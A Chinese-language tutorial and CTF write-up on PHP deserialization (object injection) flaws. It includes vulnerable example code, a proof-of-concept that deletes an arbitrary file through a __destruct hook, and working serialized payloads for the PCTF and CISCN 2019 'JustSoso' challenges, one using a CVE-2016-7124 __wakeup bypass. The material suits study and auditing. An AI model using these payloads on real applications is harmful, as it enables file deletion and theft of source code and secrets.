最全的PHP反序列化漏洞的理解和應用

原創作者:f1r3K0

php反序列化漏洞,又叫php對象注入漏洞,是一種常見的漏洞,在我們進行代碼審計以及CTF中經常能夠遇到。

學習前最好提前掌握的知識

序列化與反序列化

PHP (從 PHP 3.05 開始)爲保存對象提供了一組序列化和反序列化的函數:serialize、unserialize。

serialize()

當我們在php中創建了一個對象後,可以通過serialize()把這個對象轉變成一個字符串,用於保存對象的值方便之後的傳遞與使用。測試代碼如下;

<?php
class people
{
	public $name = "f1r3K0";
  public $age = '18';
}

$class = new people();
$class_ser = serialize($class);
print_r($class_ser);
?>

測試結果:

O:6:"people":2:{s:4:"name";s:6:"f1r3K0";s:3:"age";s:2:"18";}

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-akcM4sRr-1585289134410)(https://s2.ax1x.com/2019/04/26/EnWYYq.md.png)]

  • 注意這裏的括號外邊的爲大寫英文字母O
  • 下面是字母代表的類型
    a - array 數組
    b - boolean布爾型
    d - double雙精度型
    i - integer
    o - common object一般對象
    r - reference
    s - string
    C - custom object 自定義對象
    O - class
    N - null
    R - pointer reference
    U - unicode string unicode編碼的字符串

unserialize()

與 serialize() 對應的,unserialize()可以從序列化後的結果中恢復對象(object),我們翻閱PHP手冊發現官方給出的是:unserialize — 從已存儲的表示中創建 PHP 的值。

我們可以直接把之前序列化的對象反序列化回來來測試函數,如下:

<?php
class people
{
    public $name = "f1r3K0";
    public $age = '18';
}

$class =  new people();
$class_ser = serialize($class);
print_r($class_ser);
$class_unser = unserialize($class_ser);
print_r($class_unser);

?>

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-Zod3gfOS-1585289134412)(https://s2.ax1x.com/2019/04/26/Enfv26.md.png)]
提醒一下,當使用 unserialize() 恢復對象時, 將調用 __wakeup() 成員函數。(先埋個伏筆,這個點後面會提)

反序列化漏洞

由前面可以看出,當傳給 unserialize() 的參數可控時,我們可以通過傳入一個"精心”構造的序列化字符串,從而控制對象內部的變量甚至是函數。

利用構造函數等

Magic function

php中有一類特殊的方法叫“Magic function”,就是我們常說的"魔術方法" 這裏我們着重關注一下幾個:

  • __construct():構造函數,當對象創建(new)時會自動調用。但在unserialize()時是不會自動調用的。
  • __destruct():析構函數,類似於C++。會在到某個對象的所有引用都被刪除或者當對象被顯式銷燬時執行,當對象被銷燬時會自動調用。
  • __wakeup():如前所提,unserialize()時會檢查是否存在__wakeup(),如果存在,則會優先調用__wakeup()方法。
  • __toString():用於處理一個類被當成字符串時應怎樣迴應,因此當一個對象被當作一個字符串時就會調用。
  • __sleep():用於提交未提交的數據,或類似的清理操作,因此當一個對象被序列化的時候被調用。

測試如下:

<?php
class people
{
    public $name = "f1r3K0";
    public $age = '18';
    function __wakeup()
    {
        echo "__wakeup()";
    }
    function __construct()
    {
        echo "__consrtuct()";
    }
    function __destruct()
    {
        echo "__destruct()";
    }
    function __toString()
    {
        echo "__toString";
    }
    /*function __sleep()
    {
        echo "__sleep";
    }*/
}

$class =  new people();
$class_ser = serialize($class);
print_r($class_ser);
$class_unser = unserialize($class_ser);
print_r($class_unser);

?>

結果如下:

EnfxxK.md.png
從運行結果來看,我們可以看出unserialize函數是優先調用"__wakeup()"再進行的反序列化字符串。同時,對於其他方法的調用順序也一目瞭然了。(注意:這裏我將sleep註釋掉了,因爲sleep會在序列化的時候調用,因此執行sleep方法就不會再執行序列以及之後的操作了。)

利用場景

__wakeup()和destruct()

由前可以看到,unserialize()後會導致__wakeup() 或__destruct()的直接調用,中間無需其他過程。因此最理想的情況就是一些漏洞/危害代碼在__wakeup() 或__destruct()中,從而當我們控制序列化字符串時可以去直接觸發它們。我們這裏直接使用參考文章的例子,代碼如下:

//logfile.php 刪除臨時日誌文件
<?php
class LogFile {
    //log文件名
    public $filename = 'error.log';
    //存儲日誌文件
    public function LogData($text) {
        echo 'Log some data:' . $text . '<br />';
        file_put_contents($this->filename, $text, FILE_APPEND);
    }
    //Destructor刪除日誌文件
    public function __destruct() {
        echo '__destruct delete' . $this->filename . 'file.<br />';
        unlink(dirname(__FILE__) . '/' . $this->filename); //刪除當前目錄下的filename這個文件
    }
}
?>
//包含了’logfile.php’的主頁面文件index.php
<?php
include 'logfile.php';
class User {
    //屬性
    public $age = 0;
    public $name = '';
    //調用函數來輸出類中屬性
    public function PrintData() {
        echo 'User' . $this->name . 'is' . $this->age . 'years old.<br />';
    }
}
$usr = unserialize($_GET['user']);
?>

梳理下這2個php文件的功能,index.php是一個有php序列化漏洞的主業文件,logfile.php的功能就是在臨時日誌文件被記錄了之後調用
__destruct方法來刪除臨時日誌的一個php文件。
這個代碼寫的有點邏輯漏洞的感覺,利用這個漏洞的方式就是,通過構造能夠刪除source.txt的序列化字符串,然後get方式傳入被反序列化函數,反序列化爲對象,對象銷燬後調用__destruct()來刪除source.txt.

漏洞利用exp
<?php
include 'logfile.php';
$obj = new LogFile();
$obj->filename = 'source.txt'; //source.txt爲你想刪除的文件
echo serialize($obj) . '<br />';
?>

這裏我們通過[‘GET’]傳入序列化字符串,調用反序列化函數來刪除想要刪除的文件。

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-ab6AU4Uf-1585289134416)(https://ooo.0o0.ooo/2017/07/02/5958ea576aa34.png)]

之前還看到過一個wakeup()非常有意思的例子,這裏直接上鍊接了

chybeta淺談PHP反序列化 https://chybeta.github.io/2017/06/17/淺談php反序列化漏洞/

其它magic function的利用

這裏我就結合PCTF和今年國賽上的題來分析了

PCTF

題目鏈接

  • 前面幾步都是很常見的讀文件源碼

    這裏直接放出給的兩個源碼

//index.php
<?php 
    require_once('shield.php');
    $x = new Shield();
    isset($_GET['class']) && $g = $_GET['class'];
    if (!empty($g)) {
        $x = unserialize($g);
    }
    echo $x->readfile();
?>

上邊index.php提示了包含的shield.php所以說直接構造base64就完事了

//shield.php
<?php
    //flag is in pctf.php
    class Shield {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }
        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE  
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }

index.php 1.包含了一個shield.php 2.實例化了Shiele方法 3.通過[GET]接收了用戶反序列化的內容,輸出了readfile()方法

shield.php 1.首先就能發現file是可控的(利用點) 2.construct()在index中實例化的時候就已經執行了,因此不會影響我們對可控$file的利用。

構造poc
<?php
	class Shield
	{
		public $file = "pctf.php";
	}
	$flag = new Shield();
	print_r(serialize($flag));
?>

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-aKmcCF7i-1585289134419)(https://s2.ax1x.com/2019/04/26/EnhOeg.md.png)]
最終poc:

http://web.jarvisoj.com:32768/index.php?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

ciscn2019 web1- JustSoso

讀源碼的過程省略

//index.php
<html>
<?php
error_reporting(0); 
$file = $_GET["file"]; 
$payload = $_GET["payload"];
if(!isset($file)){
	echo 'Missing parameter'.'<br>';
}
if(preg_match("/flag/",$file)){
	die('hack attacked!!!');
}
@include($file);
if(isset($payload)){  
    $url = parse_url($_SERVER['REQUEST_URI']);
    parse_str($url['query'],$query);
    foreach($query as $value){
        if (preg_match("/flag/",$value)) { 
    	    die('stop hacking!');
    	    exit();
        }
    }
    $payload = unserialize($payload);
}else{ 
   echo "Missing parameters"; 
} 
?>
<!--Please test index.php?file=xxx.php -->
<!--Please get the source of hint.php-->
</html>
<?php
class Handle{ 
    private $handle;  
    public function __wakeup(){
		foreach(get_object_vars($this) as $k => $v) {
            $this->$k = null;
        }
        echo "Waking up\n";
    }
	public function __construct($handle) { 
        $this->handle = $handle; 
    } 
	public function __destruct(){
		$this->handle->getFlag();
	}
}

class Flag{
    public $file;
    public $token;
    public $token_flag;
    function __construct($file){
		$this->file = $file;
		$this->token_flag=&$this->token;
    }
	public function getFlag(){
		$this->token_flag = md5(rand(1,10000));
        if($this->token === $this->token_flag)
		{
			if(isset($this->file)){
				echo @highlight_file($this->file,true); 
            }  
        }
    }
}

其實剛開始做的時候是很懵逼了,一直在糾結爆破md5上邊。22233333

1.首先我們需要繞的就是$url = parse_url($_SERVER['REQUEST_URI']);
使得parse_str($url['query'],$query); 中query解析失敗,這樣就可以在payload裏出現flag,這裏應該n1ctf的web eating cms的繞過方式,添加///index.php繞過。

2.接下來就是需要我們繞過wakeup()裏的將$k賦值爲空的操作,這裏用到的是一枚cve 當成員屬性數目大於實際數目時可繞過wakeup方法(CVE-2016-7124)

3.繞md5這裏用到了PHP中引用變量的知識https://blog.csdn.net/qq_33156633/article/details/79936487

簡單來說就是,當兩個變量指向同一地址時,例如:$b=&$a,這裏的$b指向的是$a的區域,這樣b就隨着a變化而變化,同樣的原理,我們在第二步序列化時加上這一步

$b = new Flag("flag.php");
$b->token=&$b->token_flag;
$a = new Handle($b);

這樣最後的token就和token_flag保持一致了。

最後的POC

<?php
class Handle
{       
    private $handle;        
    public function __wakeup()
    {
            foreach(get_object_vars($this) as $k => $v)
	    {
                $this->$k = null;         
            }          
            echo "Waking upn";      
    }
    public function __construct($handle) 
    {           
        $this->handle = $handle;       
    }    
    public function __destruct()
    {    
        $this->handle->getFlag();   
    }  
}    
class Flag
{      
    public $file;      
    public $token;      
    public $token_flag;         
    function __construct($file)
    {    
        $this->file = $file;    
        $this->token_flag = $this->token = md5(rand(1,10000));      
    }         
    public function getFlag()
    {       
        if(isset($this->file))
	{      
            echo @highlight_file($this->file,true);               
        }            
    }  
}
$b = new Flag("flag.php");
$b->token=&$b->token_flag;
$a = new Handle($b);
echo(serialize($a));
?>

[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-cUOo6Th0-1585289134422)(https://s2.ax1x.com/2019/04/26/En4uSx.md.png)]
這裏還有一個點就是我們需要用%00來補全空缺的字符,又因爲含有private 變量,需要 encode 一下。

最終payload:

?file=hint&payload=O%3A6%3A%22Handle%22%3A1%3A%7Bs%3A14%3A%22Handlehandle%22%3BO%3A4%3A%22Flag%22%3A3%3A%7Bs%3A4%3A%22file%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A5%3A%22token%22%3Bs%3A32%3A%22da0d1111d2dc5d489242e60ebcbaf988%22%3Bs%3A10%3A%22token_flag%22%3BR%3A4%3B%7D%7D

利用普通成員方法

前面談到的利用都是基於“自動調用”的magic function。但當漏洞/危險代碼存在類的普通方法中,就不能指望通過“自動調用”來達到目的了。這時我們需要去尋找相同的函數名,把敏感函數和類聯繫在一起。一般來說在代碼審計的時候我們都要盯緊這些敏感函數的,層層遞進,最終去構造出一個有殺傷力的payload。

參考文章:

https://www.cnblogs.com/Mrsm1th/p/6835592.html
http://p0desta.com/2018/04/01/php反序列化總結/
http://whc.dropsec.xyz/2017/06/15/PHP反序列化漏洞理解與利用/
https://p0sec.net/index.php/archives/114/

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章